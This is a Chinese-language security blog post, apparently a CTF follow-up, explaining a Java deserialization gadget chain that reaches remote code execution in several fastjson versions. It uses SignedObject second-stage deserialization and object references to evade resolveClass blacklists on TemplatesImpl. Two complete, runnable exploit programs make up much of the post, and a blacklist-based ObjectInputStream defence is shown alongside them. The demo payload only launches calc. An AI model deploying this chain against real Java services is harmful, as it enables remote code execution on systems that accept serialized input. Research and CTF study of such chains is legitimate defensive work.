该利用链可以在fastjson
多个版本实现RCE
,并且借助SignedObject
绕过第一层安全的resolveClass
对于TemplatesImpl
类的检查。
条件如下:
ObjectInputStream
(反序列化)输入数据可控Fastjson
依赖说起来还是AliyunCTF
那道ezbean
的非预期,很多师傅使用FastJson#toString
方法触发TemplatesImpl#getOutputProperties
实现RCE
。
gadget
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
FastJson
反序列化并不是通过ObjectInputStream.readObject()
还原对象,而是在反序列化的过程中自动调用类属性的setter/getter
方法,将JSON
字符串还原成对象。
因此从FJ 1.2.49
开始,JSONArray
和JSONObject
开始重写了resolveClass
,过滤了诸如TemplatesImpl
的危险类。而ezbean
那道题使用了一个不安全的ObjectInputStream
进行反序列化。
这也就导致了选手通过引用的数据类型从而不执行resolveClass
以绕过其对危险类的检查,导致了非预期。
exp
List<Object> list = new ArrayList<>(); TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc"); list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测 JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); //此时在hash表中查到了映射,因此接下来以引用形式输出 BadAttributeValueExpException bd = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd,"val",jsonArray); list.add(bd); //字节 byte[] payload = SerializerUtils.serialize(list); ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); ois.readObject();
似乎这样的方式只能在目标环境使用了一个不安全的ObjectInputStream
的场景下应用。
因为templates
是以引用的形式来绕过FJ
的resolveClass
方法的黑名单检查,因此在(见exp
第三行)必须把templates
添加到list
中,所以如果重写了ObjectInputStream
过滤templates
,这样的方法就失效了。
public class MyInputStream extends ObjectInputStream { private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean"); public MyInputStream(InputStream inputStream) throws IOException { super(inputStream); } protected Class<?> resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException { if (this.BLACKLIST.contains(cls.getName())) { throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist"); } else { return super.resolveClass(cls); } } }
解决方案也很简单,就是通过二次反序列化绕过。
简单介绍下SignedObject
,摘录自Poria师傅博客
当防御者重写了ObjectInputStream
类,并且再resolveClass
方法定义了反序列化黑名单类时,此时就需要通过二次反序列化绕过。
顾名思义,二次反序列化攻击就是在受害服务器进行第一次反序列化的过程中借助某些类的方法进行第二次反序列化。而第二次反序列化是没有ban
恶意类的,通过这种方法间接的实现bypass
黑名单。
阅读该类注释可知这个类可以存放一个序列化数据并且有一个属于该数据的签名。
More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.
再观察getObject
方法,可以看到其中进行了一次反序列化,这完美符合了我们的要求,并且该类是jdk
内置类。
事实上,该类主要用于加密反序列化数据,防止攻击者截获数据包从而解析序列化数据(竟然有些讽刺)。
/** * Retrieves the encapsulated object. * The encapsulated object is de-serialized before it is returned. * * @return the encapsulated object. * * @exception IOException if an error occurs during de-serialization * @exception ClassNotFoundException if an error occurs during * de-serialization */ public Object getObject() throws IOException, ClassNotFoundException { // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
而要反序列化的this.content
可以通过构造方法赋值,并且该方法是一个相对容易触发的getter
方法,所以问题转化为了如何触发SignedObject#getObject。
最好找只依赖于FastJson
的包的gadget
,使得攻击面最大。
而正好JsonObject#toString
可以触发任意getter
方法,而toString
又可以通过BadAttributeValueExpException#readObject
调用,因此整条链子就通了。
gadget
* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
exp
package gadget.fastjson; import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import gadget.doubleunser.MyInputStream; import util.GadgetUtils; import util.ReflectionUtils; import util.SerializerUtils; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.Serializable; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.ArrayList; import java.util.List; public class FJ2 { public static void main(String[] args) throws Exception{ List<Object> list = new ArrayList<>(); TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc"); list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测 JSONArray jsonArray2 = new JSONArray(); jsonArray2.add(templates); //此时在handles这个hash表中查到了映射,后续则会以引用形式输出 BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd2,"val",jsonArray2); list.add(bd2); //二次反序列化 KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA")); //触发SignedObject#getObject JSONArray jsonArray1 = new JSONArray(); jsonArray1.add(signedObject); BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd1,"val",jsonArray1); //验证 byte[] payload = SerializerUtils.serialize(bd1); ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); //再套一层inputstream检查TemplatesImpl,不可用 ois.readObject(); } }
通过SingedObject
绕过了黑名单对于Templates
的校验。触发BadAttributeValueExpException#readObject
,通过gf.get
获取JsonArray
。
从JSON#toString
触发JSON#toJSONString
,并在下图断点处getter
方法。
进入到JSONSerializer#write
方法,首先获取object
的类名,随后,将触发ListSerializer
。
接下来触发ListSerializer#write
一段很长的方法,主要就是进入到for
循环把list
的东西取出来进行后续操作。
后面比较复杂,总之就是通过createJavaBeanSerializer
创建ObjectSerializer
对象。通过ASM
技术创建目标类(在这里是SignedObject
)进行后续的处理。
进入到了ASMSerializerFactory#generaterWriteMethod
,可以看到他就是把SignedObject
重构出来了。获取到该类的三个字段并一个一个触发对应的getter
方法。
最终触发了SignedObject#getObject
进行了二次反序列化。
同样的,通过了JSONArray#toString
最终通过ASMSerializerFactory#_get
触发TemplatesImpl#getOutputProperties
方法实现RCE
。
fastjson
的利用往往通过parseObject
触发反序列化,此次探索是在readObject
反序列化场景下进行。真实场景下不太了解,emm可能在ctf
中可以通过这条链子打个非预期吧。
由于笔者水平不高,希望师傅们多多指正。